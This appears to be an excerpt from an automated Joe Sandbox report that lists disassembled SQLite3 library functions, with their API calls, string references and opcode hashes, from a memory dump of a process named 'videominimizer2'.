                                                                                                                                                                                                                                      • API ID: sqlite3_free$sqlite3_mutex_entersqlite3_reset$sqlite3_column_blobsqlite3_column_bytessqlite3_mallocsqlite3_mutex_leave
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2722129401-0
                                                                                                                                                                                                                                      • Opcode ID: 718344d9776843f9d3d0f11354c3fb96bdbf3732bae6ebd8df48c35682458f02
                                                                                                                                                                                                                                      • Instruction ID: e3a8cc565ee031670952cbbbf81914cbe75110044a29491daaf6513bdc913a85
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 718344d9776843f9d3d0f11354c3fb96bdbf3732bae6ebd8df48c35682458f02
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: BBD1D270E14219CFEB14CFA9C48469DBBF2BF68304F20856AD899AB346D774E845CF81
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_malloc.SQLITE3 ref: 609645D9
                                                                                                                                                                                                                                        • Part of subcall function 60928099: sqlite3_malloc.SQLITE3 ref: 609280ED
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 609647C5
                                                                                                                                                                                                                                        • Part of subcall function 60963D35: memcmp.MSVCRT ref: 60963E74
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 6096476B
                                                                                                                                                                                                                                        • Part of subcall function 60901C61: sqlite3_mutex_enter.SQLITE3 ref: 60901C80
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 6096477B
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 60964783
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_free$sqlite3_malloc$memcmpsqlite3_mutex_enter
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 571598680-0
                                                                                                                                                                                                                                      • Opcode ID: d604abe0313f10411a0f234c71df8e29ee85eaf68e2bcebad1bf05c151ae1b53
                                                                                                                                                                                                                                      • Instruction ID: 53ad94a03898eae12f4127695087571842428d6fdffc19c65fee49adcf86f1ae
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d604abe0313f10411a0f234c71df8e29ee85eaf68e2bcebad1bf05c151ae1b53
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 5E91F674E14228CFEB14CFA9D890B9EBBB6BB99304F1085AAD849A7344D734DD81CF51
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_blob_reopen.SQLITE3 ref: 60963510
                                                                                                                                                                                                                                        • Part of subcall function 60962F28: sqlite3_log.SQLITE3 ref: 60962F5D
                                                                                                                                                                                                                                      • sqlite3_mprintf.SQLITE3 ref: 60963534
                                                                                                                                                                                                                                      • sqlite3_blob_open.SQLITE3 ref: 6096358B
                                                                                                                                                                                                                                      • sqlite3_blob_bytes.SQLITE3 ref: 609635A3
                                                                                                                                                                                                                                      • sqlite3_malloc.SQLITE3 ref: 609635BB
                                                                                                                                                                                                                                      • sqlite3_blob_read.SQLITE3 ref: 60963602
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 60963621
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_blob_bytessqlite3_blob_opensqlite3_blob_readsqlite3_blob_reopensqlite3_freesqlite3_logsqlite3_mallocsqlite3_mprintf
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 4276469440-0
                                                                                                                                                                                                                                      • Opcode ID: 81f80890dbec9a3991ff68d8cfcbb164f6b4d7f09a97d6cb6c54cb11191f3d09
                                                                                                                                                                                                                                      • Instruction ID: 177081cd506585250240414a33056f89eeda992db91a315aff795e5fc91eaf1e
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 81f80890dbec9a3991ff68d8cfcbb164f6b4d7f09a97d6cb6c54cb11191f3d09
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C641E5B09087059FDB40DF29C48179EBBE6AF98354F01C87AE898DB354E734D841DB92
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_value_text.SQLITE3 ref: 6091A240
                                                                                                                                                                                                                                      • sqlite3_value_text.SQLITE3 ref: 6091A24E
                                                                                                                                                                                                                                      • sqlite3_value_bytes.SQLITE3 ref: 6091A25A
                                                                                                                                                                                                                                      • sqlite3_value_text.SQLITE3 ref: 6091A27C
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      • ESCAPE expression must be a single character, xrefs: 6091A293
                                                                                                                                                                                                                                      • LIKE or GLOB pattern too complex, xrefs: 6091A267
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_value_text$sqlite3_value_bytes
                                                                                                                                                                                                                                      • String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
                                                                                                                                                                                                                                      • API String ID: 4080917175-264706735
                                                                                                                                                                                                                                      • Opcode ID: e5bda90e0e0ba1860c41bc069fb20e3a267b2c9271c0a370806f06164fd47fa4
                                                                                                                                                                                                                                      • Instruction ID: 7e7232241edcba55bc41816b79a09feadaac9d75cc2fb544db44a2248cbef301
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e5bda90e0e0ba1860c41bc069fb20e3a267b2c9271c0a370806f06164fd47fa4
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A4214C74A182198BCB00DF79C88165EBBF6FF64354B108AA9E864DB344E734DCC6CB95
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 6092506E: sqlite3_log.SQLITE3 ref: 609250AB
                                                                                                                                                                                                                                      • sqlite3_mutex_enter.SQLITE3 ref: 609250E7
                                                                                                                                                                                                                                      • sqlite3_value_text16.SQLITE3 ref: 60925100
                                                                                                                                                                                                                                      • sqlite3_value_text16.SQLITE3 ref: 6092512C
                                                                                                                                                                                                                                      • sqlite3_mutex_leave.SQLITE3 ref: 6092513E
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_value_text16$sqlite3_logsqlite3_mutex_entersqlite3_mutex_leave
                                                                                                                                                                                                                                      • String ID: library routine called out of sequence$out of memory
                                                                                                                                                                                                                                      • API String ID: 2019783549-3029887290
                                                                                                                                                                                                                                      • Opcode ID: bf8b25fefa583efc99e02b0fe9019e927645d1a19242a42ec125398c6bed8d9e
                                                                                                                                                                                                                                      • Instruction ID: f6310061860eb79c45c0a7b6efb00bde58ba827c5a391e7df96a4cb3fbc4cfa9
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: bf8b25fefa583efc99e02b0fe9019e927645d1a19242a42ec125398c6bed8d9e
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 81014C70A083049BDB14AF69C9C170EBBE6BF64248F0488A9EC958F30EE775D8818B51
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_finalize.SQLITE3 ref: 609406E3
                                                                                                                                                                                                                                        • Part of subcall function 6094064B: sqlite3_log.SQLITE3 ref: 60940672
                                                                                                                                                                                                                                        • Part of subcall function 6094064B: sqlite3_log.SQLITE3 ref: 60940696
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 609406F7
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 60940705
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 60940713
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 6094071E
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 60940729
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 6094073C
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_free$sqlite3_log$sqlite3_finalize
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1159759059-0
                                                                                                                                                                                                                                      • Opcode ID: 19269ae46022e444f8470c890b78f38089a522c4155da373e534dfec766a18bc
                                                                                                                                                                                                                                      • Instruction ID: 8ceab58ab7f3fb7faec85fb80e78016d1f3d655de586deaf1cb04ee1bc4e3406
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 19269ae46022e444f8470c890b78f38089a522c4155da373e534dfec766a18bc
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C801E8B45447108BDB00AF78C4C5A59BBE5EF79B18F06096DECCA8B305D734D8809B91
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3(?), ref: 609476DD
                                                                                                                                                                                                                                        • Part of subcall function 60904423: sqlite3_mutex_leave.SQLITE3(6090449D,?,?,?,60908270), ref: 60904446
                                                                                                                                                                                                                                      • sqlite3_log.SQLITE3 ref: 609498F5
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_freesqlite3_logsqlite3_mutex_leave
                                                                                                                                                                                                                                      • String ID: List of tree roots: $d$|
                                                                                                                                                                                                                                      • API String ID: 3709608969-1164703836
                                                                                                                                                                                                                                      • Opcode ID: 316fa83f4dc1e403b3b617744d66ff6f9af545e53e2752a9ff9486d467efffaf
                                                                                                                                                                                                                                      • Instruction ID: c91562837ba2d96ae21b52ab8334c840e7cbe23d8154f1acff92b465618a0bd4
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 316fa83f4dc1e403b3b617744d66ff6f9af545e53e2752a9ff9486d467efffaf
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3FE10570A043698BDB22CF18C88179DFBBABF65304F1185D9E858AB251D775DE81CF81
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 6095FFB2: sqlite3_bind_int64.SQLITE3 ref: 6095FFFA
                                                                                                                                                                                                                                        • Part of subcall function 6095FFB2: sqlite3_step.SQLITE3 ref: 60960009
                                                                                                                                                                                                                                        • Part of subcall function 6095FFB2: sqlite3_reset.SQLITE3 ref: 60960019
                                                                                                                                                                                                                                        • Part of subcall function 6095FFB2: sqlite3_result_error_code.SQLITE3 ref: 60960043
                                                                                                                                                                                                                                      • sqlite3_column_int64.SQLITE3 ref: 609600BA
                                                                                                                                                                                                                                      • sqlite3_column_text.SQLITE3 ref: 609600EF
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 6096029A
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_bind_int64sqlite3_column_int64sqlite3_column_textsqlite3_freesqlite3_resetsqlite3_result_error_codesqlite3_step
                                                                                                                                                                                                                                      • String ID: e
                                                                                                                                                                                                                                      • API String ID: 786425071-4024072794
                                                                                                                                                                                                                                      • Opcode ID: 373422d03c3c71c2ddc35291c61dfb2213fd8f263c0b9a30c36f02d650250dc2
                                                                                                                                                                                                                                      • Instruction ID: e80500568aa73e744b5c90812a7938b6c4ac38b40afb48beb036dafaf3e7d002
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 373422d03c3c71c2ddc35291c61dfb2213fd8f263c0b9a30c36f02d650250dc2
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6291E270A18609CFDB04CF99C494B9EBBF2BF98314F108529E869AB354D774E885CF91
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_exec
                                                                                                                                                                                                                                      • String ID: sqlite_master$sqlite_temp_master$|
                                                                                                                                                                                                                                      • API String ID: 2141490097-2247242311
                                                                                                                                                                                                                                      • Opcode ID: 0e32379bf9c90bcee3e658b343db186d73978ee403121efd96d42beb4ff38922
                                                                                                                                                                                                                                      • Instruction ID: 9143400cfb6dc20a8edc2ca7c04099347fc9d468871a1d2187ae3123f936d49a
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 0e32379bf9c90bcee3e658b343db186d73978ee403121efd96d42beb4ff38922
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C551B6B09083289BDB26CF18C885799BBFABF59304F108599E498A7351D775DA84CF41
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_free$memcmpsqlite3_realloc
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3422960571-0
                                                                                                                                                                                                                                      • Opcode ID: 50eda45380483794e32bdd730fc6b6b580c41d30328003452ec2c22d7d846426
                                                                                                                                                                                                                                      • Instruction ID: 3b390e38dde49c5924589a602beaf2ee173d98914be71c714148da16d267e2cf
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 50eda45380483794e32bdd730fc6b6b580c41d30328003452ec2c22d7d846426
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 42B1D0B4E142189BEB05CFA9C5807DDBBF6BFA8304F148429E858A7344D374E946CF91
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 6090A0D5: sqlite3_free.SQLITE3 ref: 6090A118
                                                                                                                                                                                                                                      • sqlite3_malloc.SQLITE3 ref: 6094B1D1
                                                                                                                                                                                                                                      • sqlite3_value_bytes.SQLITE3 ref: 6094B24C
                                                                                                                                                                                                                                      • sqlite3_malloc.SQLITE3 ref: 6094B272
                                                                                                                                                                                                                                      • sqlite3_value_blob.SQLITE3 ref: 6094B298
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 6094B2C8
                                                                                                                                                                                                                                        • Part of subcall function 6094A894: sqlite3_bind_int64.SQLITE3 ref: 6094A8C0
                                                                                                                                                                                                                                        • Part of subcall function 6094A894: sqlite3_step.SQLITE3 ref: 6094A8CE
                                                                                                                                                                                                                                        • Part of subcall function 6094A894: sqlite3_column_int64.SQLITE3 ref: 6094A8E9
                                                                                                                                                                                                                                        • Part of subcall function 6094A894: sqlite3_reset.SQLITE3 ref: 6094A90F
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_freesqlite3_malloc$sqlite3_bind_int64sqlite3_column_int64sqlite3_resetsqlite3_stepsqlite3_value_blobsqlite3_value_bytes
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 683514883-0
                                                                                                                                                                                                                                      • Opcode ID: 3036fcfce1ee653ed62d56f61367963e4d2afc4bfe1ca560103df060be3b8356
                                                                                                                                                                                                                                      • Instruction ID: 83940ce9cf0a2bab7a741171fc95cc3a005d2848f59039768723a80715f2adcb
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 3036fcfce1ee653ed62d56f61367963e4d2afc4bfe1ca560103df060be3b8356
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E19133B1A052099FCB04CFA9D490B9EBBF6FF68314F108569E855AB341DB34ED81CB91
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,?,?,6093A8DF), ref: 6093A200
                                                                                                                                                                                                                                      • sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,?,?,6093A8DF), ref: 6093A391
                                                                                                                                                                                                                                      • sqlite3_mutex_free.SQLITE3(?,?,?,?,?,?,?,?,6093A8DF), ref: 6093A3A3
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 6093A3BA
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 6093A3C2
                                                                                                                                                                                                                                        • Part of subcall function 6093A0C5: sqlite3_mutex_enter.SQLITE3 ref: 6093A114
                                                                                                                                                                                                                                        • Part of subcall function 6093A0C5: sqlite3_mutex_free.SQLITE3 ref: 6093A152
                                                                                                                                                                                                                                        • Part of subcall function 6093A0C5: sqlite3_mutex_leave.SQLITE3 ref: 6093A162
                                                                                                                                                                                                                                        • Part of subcall function 6093A0C5: sqlite3_free.SQLITE3 ref: 6093A1A4
                                                                                                                                                                                                                                        • Part of subcall function 6093A0C5: sqlite3_free.SQLITE3 ref: 6093A1C3
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_free$sqlite3_mutex_leave$sqlite3_mutex_free$sqlite3_mutex_enter
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1903298374-0
                                                                                                                                                                                                                                      • Opcode ID: 8530df85f137a660efabd51ca86f4821d2fdcc6d7a3fd2cfb4f5547b241dda56
                                                                                                                                                                                                                                      • Instruction ID: f6c450fbbadf2e04ab128defb7df19fdb2a161b4e6cf4e71623f80625393026f
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 8530df85f137a660efabd51ca86f4821d2fdcc6d7a3fd2cfb4f5547b241dda56
